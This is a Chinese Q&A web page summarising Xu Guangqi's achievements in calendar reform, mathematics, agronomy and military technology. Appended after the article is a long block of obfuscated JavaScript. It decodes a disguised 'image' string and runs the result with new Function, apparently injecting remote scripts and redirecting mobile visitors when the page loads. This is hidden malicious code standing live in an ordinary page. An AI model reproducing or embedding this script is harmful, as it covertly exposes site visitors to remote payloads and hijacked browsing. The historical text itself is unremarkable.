徐光启发明了什么

2025-02-23 09:31:19
推荐回答(1个)
回答1:

天文历法 徐光启在天文学上的成就主要是主持历法的修订和《崇祯 纪念邮票 历书》的编译。 编制历法,在中国古代乃是关系到“授民以时”的大事,为历代王朝所重视。 由于中国古代数学历来以实际计算见长,重视和历法编制之间的关系,因此中国古代历法准确的程度是比较高的。但是到了明末,却明显地呈现出落后的状态。一方面是由于西欧的天文学此时有了飞速的进步,另方面则是明王朝长期执行不准私习天文,严禁民间研制历法政策的结果。明沈德符《万历野获编》所说“国初学天文有历禁,习历者遣戍,造历者殊死”,指的就是此事。 明代施行的《大统历》,实际上就是元代《授时历》的继续,日久天长,已严重不准。据《明史·历志》记载,自成化年间开始(1481)陆续有人建议修改历法,但建议者不是被治罪便是以“古法未可轻变”,“祖制不可改”为由遭到拒绝。万历三十八年(16l0)十一月日食,司天监再次预报错误,朝廷决定由徐光启与传教士等共同译西法。供邢云路修改历法时参考,但不久又不了了之。直至崇祯二年五月朔日食,徐光启以西法推算最为精密,礼部奏请开设历局。以徐光启督修历法,改历工作终于走上正轨,但后来满清侵入中原,改历工作在明代实际并未完成。 当时协助徐光启进行修改历法的中国人有李之藻(1565—1630)、李天经(1579—1659)等,外国传教士有龙华民(N.Longobardi)、庞迪峨(D.Pantoja)、熊三拔(S.de Ursis)、阳玛诺(E. Diaz)、艾儒略(J.A1eni)、邓玉函(J.Terrenze)、汤若望(J.A.S.von Bell)等。 《数联天地》 徐光启在天文历法方面的成就,主要集中于《崇祯历书》的编译和为改革历法所写的各种疏奏之中。《崇祯历书》的编译,自崇祯四年(1631)起直至十一年(1638),始克完成。全书46种,l37卷,是分五次进呈的。前三次乃是徐光启亲自进呈(23种,75卷),后二次都是徐光启死后由李天经进呈的。其中第四次还是徐光启亲手订正(13种,30卷),第五次则是徐氏“手订及半”最后由李天经完成的(10种,32卷)。 徐光启“释义演文,讲究润色,校勘试验”。负责《崇祯历书》全书的总编工作。此外还亲自参加了其中《测天约说》、《大测》、《日缠历指》、《测量全义》、《日缠表》等书的具体编译工作。 《崇祯历书》采用的是第谷(Tycho)体系。这个体系认为地球仍是太阳系的中心,日、月和诸恒星均作绕地运动。而五星则作绕日运动。这比传教士刚刚到达中国时由利玛窦所介绍的托勒玫(Pto1emy)体系稍有进步,但对当时西方已经出现的更为科学的哥白尼(Copernicus)体系,传教士则未予介绍。《崇祯历书》仍然用本轮、均轮等一套相互关联的圆运动来描述、计算日、月、五星的疾、迟、顺、逆、留、合等现象。对当时西方已有的更为先进的行星三大定律(开普勒三定律),传教士也未予介绍。尽管如此,按西法推算的日月食精确程度已较中国传统的《大统历》为高。此外《崇祯历书》还引入了大地为球形的思想、大地经纬度的计算及球面三角法,区别了太阳近(远)地点和冬(夏)至点的不同,采用了蒙气差修正数值。 在天文历法上,徐光启介绍了古代托勒玫旧地心说和以当代第谷的新地心说为代表的欧洲天文知识,会通当时的中西历法,主持编译了《崇祯历书》。在历书中,他引进了圆形地球的概念,明晰地介绍了地球经度和纬度的概念。他为中国天文界引进了星等的概念;根据第谷星表和中国传统星表,提供了第一个全天性星图,成为清代星表的基础;在计算方法上,徐光启引进了球面和平面三角学的准确公式,并首先作了视差、蒙气差和时差的订正。 数学成就 “几何”名称的由来——科学家徐光启 学过数学的人,都知道它有一门分科叫作“几何学”,然而却不一定知道“几何”这个名称是怎么来的。在我国古代,这门数学分科并不叫“几何”,而是叫作“形学”。“几何”二字,在中文里原先也不是一个数学专有名词,而是个虚词,意思是“多少”。比如三国时曹操那首著名的《短 徐光启半身雕像 歌行》诗,有这么两句:“对酒当歌,人生几何?”这里的“几何”就是多少的意思。那么,是谁首先把“几何”一词作为数学的专业名词来使用的,用它来称呼这门数学分科的呢?这是明末杰出的科学家徐光启。 徐光启在数学方面的成就,概括地说,有三个方面,即(1)论述了中国数学在明代落后的原因;(2)论述了数学应用的广泛性;(3)与意大利传教士利玛窦一起翻译并出版了《几何原本》。 中国古代数学源远流长,至汉代形成了以《九章算术》为代表的体系,至宋元时期达到发展的高峰,在高次方程和方程组的解法、一次同余式解法、高阶等差级数和高次内插法等方面都取得了辉煌的成就,较西方同类结果要早出数百年之久。但进入明朝以后,宋元数学的许多成果却几乎全都后继无人,逐渐衰废。对这种落后局面的形成原因,徐光启曾有十分精辟的分析。他说:“算术之学特废于近代数百年间耳。废之缘有二。其一为名理之儒士苴天下实事;其一为妖妄之术谬言数有神理,能知往藏来,靡所不效。卒于神者无一效,而实者亡一存,往昔圣人研以制世利用之大法,曾不能得之士大夫间,而术业政事,尽逊于古初远矣。”(“刻《同文算指》序”) “名理之儒士苴天下实事”,对宋元数学在明代的衰废原因,可谓一语道破。 徐光启在一次关于修改历法的疏奏中,详细论述了数学应用的广泛性。他一共提出了十个方面(“度数旁通十事”),即(1)天文历法;(2)水利工程;(3)音律;(4)兵器兵法及军事工程;(5)会计理财;(6)各种建筑工程;(7)机械制造;(8)舆地测量;(9)医药;(10)制造钟漏等计时器。可以说把数学应用的广泛性,讲述得十分完备。在300余年前,徐光启就能达到如此的认识,实属难能可贵。徐光启还曾建议开展这些方面的分科研究。如果每个学科都设置相应的机构,那将形成一个相当可观的“科学院”。 徐光启在数学方面的最大贡献当推《几何原本》的翻译。《几何原本》是古希腊数学家欧几里得(Euclid)在总结前人成果的基础上于公元前3世纪编成的。这部世界古代的数学名著,以严密的逻辑推理的形式,由公理、公设、定义出发,用一系列定理的方式,把初等几何学知识整理成一个完备的体系。《几何原本》经过历代数学家,特别是中世纪阿拉伯数学家们的注释,经阿拉伯数学家之手再传入欧洲,对文艺复兴以后近代科学的兴起,产生了很大的影响。许多学者认为《几何原本》所代表的逻辑推理方法,再加上科学实验,是世界近代科学产生和发展的重要前提。换言之,《几何原本》的近代意义不单单是数学方面的,更主要的乃是思想方法方面的。徐光启就正确的指出: “此书为益,能令学理者祛其浮气,练其精心,学事者资其定法,发其巧思,故举世无一人不当学。……能精此书者,无一事不可精,好学此书者,无一事不可学。”(《徐光启集·几何原本杂议》)直到20世纪初,中国废科举、兴学校,以《几何原本》内容为主要内容的初等几何学方才成为中等学校必修科目,实现了300年前徐光启“无一人不当学”的预言。 《几何原本》由公理、公设出发给出一整套定理体系的叙述方法,和中国古代数学著作的叙述方法相去甚远。徐光启作为首先接触到达一严密逻辑体系的人,却能对此提出较明确的认识。他说:“此书有四不必:不必疑、不必揣、不必试、不必改;有四不可得:欲脱之不可得,欲驳之不可得,欲减之不可得,欲前后更置之不可得。”他还说:“(此书)有三至、三能:似至晦,实至明,故能以其明明他物之至晦;似至繁,实至简,故能以其简简他物之至繁;似至难,实至易,故能以其易易他物之至难。”他最后说:“易生于简,简生于明,综其妙,在明而已。”(同上)徐光启提出《几何原本》的突出特点在于其体系的自明性。这种认识是十分深刻的。 历时一年,《几何原本》译出六卷,刊印发行。徐光启抚摸着此书,感慨道:这部光辉的数学著作在此后的一百年里,必将成为天下学子必读之书,但到那时候只怕已太晚了。 可历史,比他预感的更悲哀。 明朝时《几何原本》并没用得到重视 致使徐光启逝世后《几何原本》迟迟不能翻译 以至于被埋没 后来明朝灭亡 清统治者对此书并不关注 康熙大帝虽然重视西学 但是很可惜《几何原本》这样重要的著作还是没用继续翻译 完成徐光启的遗愿 而历史有多少个百年可以蹉跎,国家又有多少项科技能丢弃于路上? 农学成就 徐光启出身农家,自幼即对农事极为关心。他的家乡地处东南沿海,水灾和风灾频繁,这使他很早就对救灾救荒感兴趣,并且讲究排灌水利建设。步入仕途之后,又利用在家守制、赋闲等各种时间,在北京、天津和上海等地设置试验田,亲自进行各种农业技术实验。 徐光启一生关于农学方面的著作甚多,计有《农政全书》(大约完成于1525—1528年间,死后经陈子龙改编出版于1639年)、《甘薯疏》(1608)、《农遗杂疏》(1612,现传本已残)、《农书草稿》(又名《北耕录》) 徐光启上海徐家汇雕像 、《泰西水法》(与熊三拔共译,16l2)等等。徐光启对农书的著述与他对天文历法的著述相比,从卷帙来看,数量虽不那样多,但花费时间之长、用功之勤,实皆有过之而无不及。 其中,《农政全书》又堪称代表。此书是徐光启殁后,经陈子龙删改(大约删者十之三,增者十之二)后成书的。《农政全书》共分12门(农本、田制、农事、水利、农器、树艺、蚕桑、蚕桑广类、种植、收养、制造、荒政),60卷,70余万言。书中大部分篇幅,是分类引录了古代的有关农事的文献和明朝当时的文献;徐光启自己撰写的文字大约有6万字。正如陈子龙所说,《农政全书》是“杂采众家”又“兼出独见”的著作,而时人对徐氏自著的文字评价甚高:“人间或一引先生独得之言,则皆令人拍案叫绝。”(刘献廷《广阳杂记》) 《农政全书》主要包括农政思想和农业技术两大方面,而农政思想约占全书一半以上的篇幅。徐光启的农政思想主要表现在以下几个方面: (1)用垦荒和开发水利的方法来力图发展北方的农业生产。我国自魏晋以来,全国的政治中心常在北方而粮食的供给、农业的中心又常在南方,每年需耗资亿万来进行漕运,实现南粮北调。时至明末,漕运已成为政府财政较大的隐患之一。徐光启主张发展北方农业生产来解决这一问题(垦荒、水利、移民等)。与此同时,在《农政全书》中,徐光启也用了四卷的篇幅来讲述东南(尤指太湖)地区的水利、淤淀和湖垦。他还对棉花在东南地区的种植、推广进行了不少研究。 (2)备荒、救荒等荒政,是徐光启农政思想的又一重要内容。他提出了“预弭为上,有备为中,赈济为下”的以预防为主(即指“浚河筑堤、宽民力、祛民害”)的方针。 农业技术方面: (1)破除了中国古代农学中的“唯风土论”思想。“风”指的气候条件,“土”指土壤等地理条件,“唯风土论”主张:作物宜于在某地种植与否,一切决定于风土,而且一经判定则永世不变。徐光启举出不少例证,说明通过试验可以使过去被判为不适宜的作物得到推广种植。徐光启的有风土论但不唯风土论的思想,推进了农业技术的发展。 (2)进一步提高了南方的旱作技术,例如种麦避水湿、与蚕豆轮作等增产技术。他还指出了棉、豆、油菜等旱作技术的改进意见,特别是对长江三角洲地区棉田耕作管理技术,提出了“精拣核(选种)、早下种、深根短干、稀稞肥壅”的十四字诀。 (3)推广甘薯种植,总结栽培经验。 (4)总结蝗虫虫灾的发生规律和治蝗的方法[2]。 军事成就 徐光启幼年时期,其家乡一带屡遭倭寇蹂躏,因而从早年起即关心兵事。他在写给焦竑的一封信中说:“(光启)少尝感愤倭奴蹂践,梓里丘墟,因而诵读之暇稍习兵家言。时时窃念国势衰弱,十倍宋季,每为人言富强之术:富国必以本业,强国必以正兵。”(《徐光启集·复太史焦师座》)以农业为富国之本,以正兵为强国之本,徐光启正是基于这样的认识,一贯重视军事科学技术的研究。 早在刚刚被选考为翰林院庶吉士时,徐光启便在《拟上安边御虏疏》中提出了“设险阻、整车马、备器械、造将帅、练戎卒、严节制、信赏罚”,但他认为这些都不过是“世俗之常谈,国家之功令”。他这篇御敌疏的中心内容则是“于数者之中,更有两言焉。日求精,曰责实。……苟求其精,则远略巧心之士相于讲求,经岁而未尽;苟责其实,则忠公忧国之臣所为太息流涕者,十倍于贾谊而未已也”。“求精”和“责实”是徐光启军事思想的核心。 徐光启还大力宣扬管仲“八无敌”(材料、工艺、武器、选兵、军队的政教素质、练兵、情报、指挥)和晁错的“四预敌”(器械不利、选兵不当、将不知兵、君不择将”。做到“八无敌” 徐光启上海徐家汇墓 即可无敌于天下,如果是“四预敌”则兵无不败。据此他提出了“极求真材以备用”。“极造实用器械以备中外守战”,“极行选练精兵以保全胜”,“极造都城万年台(炮台)以为永永无虞之计”,“极遣使臣监护朝鲜以联外势”(《徐光启集·辽左陷危已甚疏》)。这些办法和措施,都是“八无敌”、“四预敌”思想与“求精”、“责实”精神相结合的产物。 在上述这些办法和措施中,徐光启尤其注重对士兵的选练,他提出了“选需实选,练需实练”的主张。万历四十八年(1620)二月开始,徐光启受命在通州、昌平等地督练新军。在此期间他撰写了《选练百字诀》、《选练条格》、《练艺条格》、《束伍条格》、《形名条格》(列阵方法)、《火攻要略》(火炮要略)、《制火药法》等等。这些“条格”,实际上乃是徐光启撰写的各种条令和法典,也是我国近代较早的一批条令和法典。 《选练百字诀》和《选练条格》等等,体现了徐光启“实选”、“实练”的责实精神。 除此之外,徐光启还特别注重制器,非常关心武器的制造,尤其是火炮的制造。管状火器本是中国的发明创造,但时至明代末年。制造火器的技术已逐渐落后,由于边防的需要,急需引进火炮制造技术。为此,徐光启曾多方建议,不断上疏。徐光启还对火器在实践中的运用,对火器与城市防御,火器与攻城,火器与步、骑兵种的配合等各个方面部有所探求。徐光启可以称得上是中国军事技术史上提出火炮在战争中应用理论的第一个人

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();